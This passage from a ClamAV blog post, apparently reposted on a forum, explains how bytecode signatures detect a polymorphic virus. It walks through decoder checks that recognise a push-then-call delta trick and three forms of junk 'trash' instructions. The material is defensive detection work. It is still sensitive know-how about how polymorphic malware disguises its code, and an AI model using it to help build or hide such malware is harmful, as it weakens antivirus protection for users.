pushes. In terms of bytecode we need to check that: 1. the opcode is OP_PUSH 2. the argument is a register 3. the register is one of (eax, ebx, ecx, edx, esi, edi) In BC that'd be: d.x86_opcode == OP_PUSH d.arg[0].access_type == ACCESS_REG d.arg[0].u.reg == REG_EAX || d.arg[0].u.reg == REG_ECX || d.arg[0].u.reg == REG_EDX || d.arg[0].u.reg == REG_EBX || d.arg[0].u.reg == REG_ESI || d.arg[0].u.reg == REG_EDI Altogether: if(d.x86_opcode == OP_PUSH && d.arg[0].access_type == ACCESS_REG && (d.arg[0].u.reg == REG_EAX || d.arg[0].u.reg == REG_ECX || d.arg[0].u.reg == REG_EDX || d.arg[0].u.reg == REG_EBX || d.arg[0].u.reg == REG_ESI || d.arg[0].u.reg == REG_EDI)) Then we need to check for the call $DELTA. In other words we check that: 1. the opcode is a call i.e.: d.x86_opcode == OP_CALL 2. the argument is an immediate relative value i.e.: d.arg[0].access_type == ACCESS_REL Then we pick the call target and we "jump" to it, not before saving the return address: int32_t target_address, return_address; seek(cur-4, SEEK_SET); /* we position onto the call argument */ read(&target_address, sizeof(target_address)); /* we read the relative jump value */ target_address = le32_to_host(target_address); /* we handle big endian machines */ retaddr = cur; /* we save the address to return to */ target_address = cur + target_address; /* we compute the addres to jump to */ Another interesting example is the trash code parser. There can be 3 types or trash ops: A. Arithmetic or logic operation on a stack allocated DWORD based on an immediate or register value. Eg: mov [ebp-xx], immed add [ebp-xx], register B. Arithmetic or logic operation on a 32bit register based on a stack allocated DWORD or an immediate value. Eg: mov register, [ebp-xx] sub register, other_register C. A jump to the next chunk of code.Eg: jmp next_chunk More in details, for case A we check that: 1. d.x86_opcode is one of (OP_ADD, OP_ADC, OP_AND, OP_MOV, OP_OR, OP_SBB, OP_SUB, OP_XOR), i.e.: d.x86_opcode == OP_ADD || d.x86_opcode == OP_ADC || d.x86_opcode == OP_AND || d.x86_opcode == OP_MOV || d.x86_opcode == OP_OR || d.x86_opcode == OP_SBB || d.x86_opcode == OP_SUB || d.x86_opcode == OP_XOR 2. the dest argument is a mem region: d.arg[0].access_type == ACCESS_MEM 3. the access size is a DWORD: d.arg[0].u.mem.access_size == SIZED 4. the dest argument is in the form [ebx-displacement]: d.arg[0].u.mem.scale_reg == REG_EBP && d.arg[0].u.mem.scale == 1 && d.arg[0].u.mem.add_reg == REG_INVALID 5. the displacement fits within the local funcion stack: d.arg[0].u.mem.displacement <= -4 && d.arg[0].u.mem.displacement >= -(int32_t)stacksize 6. the source argument can be anything (i.e. a register or an immediate value): nothing to check! Case B is very similar, except the arguments are reversed: 1. The dest argument is a register: d.arg[0].access_type == ACCESS_REG 2a. The src arg is either another reg: d.arg[1].access_type == ACCESS_REG 2b. Or it is an immediate: d.arg[1].access_type == ACCESS_IMM 2c. Or it is a stack based DWORD: d.arg[0].access_type == ACCESS_MEM && d.arg[0].u.mem.access_size == SIZED && d.arg[0].u.mem.scale_reg == REG_EBP && d.arg[0].u.mem.scale == 1 && d.arg[0].u.mem.add_reg == REG_INVALID && d.arg[0].u.mem.displacement <= -4 && d.arg[0].u.mem.displacement >= -(int32_t)stacksize Finally, case C... Here we: 1. Check that the op is a jmp: d.x86_opcode == OP_JMP 2. Check that it's got an immediate argument: d.arg[0].access_type == ACCESS_REL 3. Then we can "jump" to the next position: int32_t rel; seek(cur-4, SEEK_SET); /* move onto the jmp argument */ read(&rel, sizeof(rel)); /* read it */ rel = le32_to_host(rel); /* make it big endian safe */ cur += rel; /* "jump" to it */ Blog post by Alberto Wu. Sursa: http://blog.clamav.net/2011/11/bytecode-signatures-for-polymorphic.html
×
×
  • Create New...